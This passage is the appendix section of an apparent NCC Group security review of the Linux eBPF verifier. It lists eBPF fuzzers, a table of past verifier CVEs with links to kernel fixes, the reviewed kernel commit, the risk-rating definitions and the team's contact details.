BRF eBPF Runtime Fuzzer	Fast, high-coverage fuzzer. Origin of CVE-2022-2905, CVE-2023-0160	Research Paper Github repo
Google Buzzer	eBPF fuzzer with Strong verification features. Origin of CVE-2023-2163, CVE-2024-41003	Github repo Google article
Google Syzkaller	Large, general, featureful kernel fuzzing platform	Github repo
jitterbug	Formal methods applied to JIT Compiler verification (University of Washington)	Github repo Usenix Presentation
kBdysch	“A collection of fast Linux kernel specific fuzzing harnesses”, to be run in userspace, AFL-friendly	Github repo
Snorez eBPF Fuzzer	Fuzzer with novel sample generator	Github repo
Trail of Bits eBPF User-Mode Harness	Use user-mode tooling for eBPF R&D	Article Github repo

More information on various eBPF fuzzing tools can be found in the 2024 Linux Plumbers Conference [presentation](#) by [Paul Chaignon](#).



9 Vulnerability Research into the eBPF Verifier

Many notable items of vulnerability research have been published that relate to the eBPF verifier.

The verifier is very effective because it has been “battle hardened”. The verifier code has undergone many changes over the past decade, with many bugs found and fixed, and the verifier could now (intuitively) be considered a reasonably hard target as a result. There is some research that has a bearing on this intuition - that in the absence of other factors, vulnerabilities appear to have a “half-life”; older code exhibits fewer issues. This phenomenon was demonstrated recently by Nikolaos Alexopoulos et al, of the Technical University of Darmstadt: <https://www.usenix.org/conference/usenixsecurity22/presentation/alexopoulos>. The corollary is that the more code “churn” occurs, the more security issues there are likely to be (since newer code tends to have more issues). Although these intuitions are borne out by the research - and appear to hold more generally for the Linux kernel - the eBPF verifier itself presents too small a sample for any firm conclusion.

The table below provides a handy reference to significant security issues in the verifier; the relevant details relating to the verifier code (where available) are typically in the Linux kernel patches referenced in the “Kernel fix” links.

Several themes emerge from this list; issues with 32 versus 64-bit operations, signedness, and branch pruning, as well as bounds checking of indexes and verification of the validity of pointers.

CVE-ID	Notes	URL
CVE-2016-2383	adjust_branches backward jump	Kernel fix
CVE-2017-16995	incorrect sign extension	Kernel fix
CVE-2017-16996	incorrect tracking of register size truncation	Kernel fix
CVE-2017-17852	32-bit ALU op verification	Kernel fix
CVE-2017-17853	bounds calculation on BPF_RSH	Kernel fix
CVE-2017-17854	integer overflows	Kernel fix
CVE-2017-17855	branch pruning when a scalar is replaced with a pointer	Kernel fix
CVE-2017-17856	alignment checks for stack pointers	Kernel fix
CVE-2017-17857	indirect stack accesses at non-constant addresses	Kernel fix
CVE-2017-17862	Branches pruned ignored by verifier but still JITted	Kernel fix
CVE-2017-17863	Verifier models arithmetic on stack frame pointer incorrectly	
CVE-2017-17864	Verifier may fail to detect pointer leaks from conditional code (kernel infoleak)	
CVE-2017-9150	Verifier doesn't check env->allow_ptr_leaks before outputting to log	Kernel fix
CVE-2018-18445	Out of bounds access via mishandled 32-bit right shifts	Kernel fix
CVE-2019-7308	Out of bounds speculation on pointer arithmetic	Kernel fix 1 2
CVE-2020-27170	Out-of-bounds speculation on pointer arithmetic	Kernel fix



CVE-ID	Notes	URL
CVE-2020-27171	Off-by-one error affecting out-of-bounds speculation on pointer arithmetic	Kernel fix
CVE-2020-27194	Bounds tracking during use of 64-bit values (in 32 bit function)	Kernel fix
CVE-2020-8835	Pwn2Own winner, 32 bit conditional jump	ZDI Article Kernel Fix
CVE-2021-20268	dev_map_init_map / sock_map_alloc	Kernel fix
CVE-2021-20320	s390 jit	Kernel fix
CVE-2021-29155	Out-of-bounds speculation, specifically first pointer op of a sequence of pointer ops is missed	Kernel fix 1 2 3 4 5 6 7 8
CVE-2021-29648	resolved_ids and resolved_sizes are uninitialized	Kernel fix
CVE-2021-31440	32 bit unsigned bounds from 64 bit bounds	Kernel fix
CVE-2021-31829	Undesirable speculative loads (side channel)	Kernel fix
CVE-2021-33200	Incorrect limits for pointer arithmetic operations	Kernel fix 1 2 3
CVE-2021-33624	Speculative execution of mispredicted branch (e.g., because of type confusion)	Kernel fix
CVE-2021-34866	Type confusion	ZDI Advisory
CVE-2021-3490	Bounds tracking for bitwise ops (AND, OR and XOR)	Kernel fix
CVE-2021-3600	Bounds tracking for 32 bit div and mod	Kernel fix
CVE-2021-4001	TOCTOU to write to read-only map	Kernel fix
CVE-2021-4159	Google Project Zero / "buffer" eBPF fuzzer - var_off issue	Kernel fix
CVE-2021-41864	Multiplication integer overflow, OOB write	Kernel fix
CVE-2021-4204	Helper functions with PTR_TO_MEM arg, bpf_ringbuf_submit and bpf_ringbuf_discard don't get size. OOB write	
CVE-2021-45402	Bounds while handling mov32	Kernel fix 1 2 3
CVE-2021-47376	oversized kvmalloc() call (Fuzzer find by syskaller)	Kernel fix 1 2 3 4
CVE-2022-0264	address leakage in BPF atomic fetch	
CVE-2022-0500	BPF_BTF_LOAD issues	Kernel fix 1 2 3 4 5 6 7
CVE-2022-23222	Pointer arithmetic on some *_OR_NULL pointer types	Kernel fix
CVE-2023-2163	Google - Branch pruning logic	Google article Google Advisory Kernel fix
CVE-2023-52676	Stack bounds checking - 32 bit overflow	Kernel fix 1 2 3
CVE-2024-41003	Google security, found via their 'buzzer' fuzzer. Register tracking, var_off field	Google advisory Kernel fix 1 2



10 Previous NCC Group Publications Relating to eBPF

NCC Group has previously published research relating to eBPF:

- An article on using eBPF to trace Linux kernel functions:
<https://www.nccgroup.com/uk/research-blog/ebpf-adventures-fiddling-with-the-linux-kernel-and-unix-domain-sockets/>
- Some common issues with eBPF tracing code:
<https://www.nccgroup.com/uk/research-blog/some-musings-on-common-ebpf-linux-tracing-bugs/>
- A git repository containing a variety of tools and research notes:
<https://github.com/nccgroup/ebpf>



11 Code Assets Reviewed

In order for the file and line number references made in this report to align with the code reviewed, it's necessary to specify the precise version of the bpf source tree this report relates to.

The specific version of the eBPF verifier reviewed was downloaded from the bpf repository at <https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/> The tag was "bpf-6.11-rc7", and the specific commit was b831f83e40a24f07c8dcba5be408d93beedc820f.

This can be referenced via the web interface at the url

<https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/tree/?h=v6.11-rc7&id=b831f83e40a24f07c8dcba5be408d93beedc820f>

For example, the main body of the eBPF verifier code is at: <https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/tree/kernel/bpf/verifier.c?h=v6.11-rc7&id=b831f83e40a24f07c8dcba5be408d93beedc820f>

The code can be downloaded via git using the following commands:

```
git clone https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/  
git checkout b831f83e40a24f07c8dcba5be408d93beedc820f
```



12 Finding Field Definitions

The following sections describe the risk rating and category assigned to issues NCC Group identified.

Risk Scale

NCC Group uses a composite risk score that takes into account the severity of the risk, application's exposure and user population, technical difficulty of exploitation, and other factors. The risk rating is NCC Group's recommended prioritization for addressing findings. Every organization has a different risk sensitivity, so to some extent these recommendations are more relative than absolute guidelines.

Overall Risk

Overall risk reflects NCC Group's estimation of the risk that a finding poses to the target system or systems. It takes into account the impact of the finding, the difficulty of exploitation, and any other relevant factors.

Rating	Description
Critical	Implies an immediate, easily accessible threat of total compromise.
High	Implies an immediate threat of system compromise, or an easily accessible threat of large-scale breach.
Medium	A difficult to exploit threat of large-scale breach, or easy compromise of a small portion of the application.
Low	Implies a relatively minor threat to the application.
Informational	No immediate threat to the application. May provide suggestions for application improvement, functional issues with the application, or conditions that could later lead to an exploitable finding.

Impact

Impact reflects the effects that successful exploitation has upon the target system or systems. It takes into account potential losses of confidentiality, integrity and availability, as well as potential reputational losses.

Rating	Description
High	Attackers can read or modify all data in a system, execute arbitrary code on the system, or escalate their privileges to superuser level.
Medium	Attackers can read or modify some unauthorized data on a system, deny access to that system, or gain significant internal technical information.
Low	Attackers can gain small amounts of unauthorized information or slightly degrade system performance. May have a negative public perception of security.

Exploitability

Exploitability reflects the ease with which attackers may exploit a finding. It takes into account the level of access required, availability of exploitation information, requirements relating to social engineering, race conditions, brute forcing, etc, and other impediments to exploitation.

Rating	Description
High	Attackers can unilaterally exploit the finding without special permissions or significant roadblocks.



Rating	Description
Medium	Attackers would need to leverage a third party, gain non-public information, exploit a race condition, already have privileged access, or otherwise overcome moderate hurdles in order to exploit the finding.
Low	Exploitation requires implausible social engineering, a difficult race condition, guessing difficult-to-guess data, or is otherwise unlikely.

Category

NCC Group categorizes findings based on the security area to which those findings belong. This can help organizations identify gaps in secure development, deployment, patching, etc.

Category Name	Description
Access Controls	Related to authorization of users, and assessment of rights.
Auditing and Logging	Related to auditing of actions, or logging of problems.
Authentication	Related to the identification of users.
Configuration	Related to security configurations of servers, devices, or software.
Cryptography	Related to mathematical protections for data.
Data Exposure	Related to unintended exposure of sensitive information.
Data Validation	Related to improper reliance on the structure or values of data.
Denial of Service	Related to causing system failure.
Error Reporting	Related to the reporting of error conditions in a secure fashion.
Patching	Related to keeping software up to date.
Session Management	Related to the identification of authenticated users.
Timing	Related to race conditions, locking, or order of operations.



13 Contact Info

The team from NCC Group has the following primary members:

- Chris Anley – Chief Scientist
chris.anley@nccgroup.com
- Nathaniel Theis – Consultant
nathaniel.theis@nccgroup.com
- Lois Herr – Project Manager
lois.herr@nccgroup.com
- Divya Natesan – Technical Oversight
divya.natesan@nccgroup.com

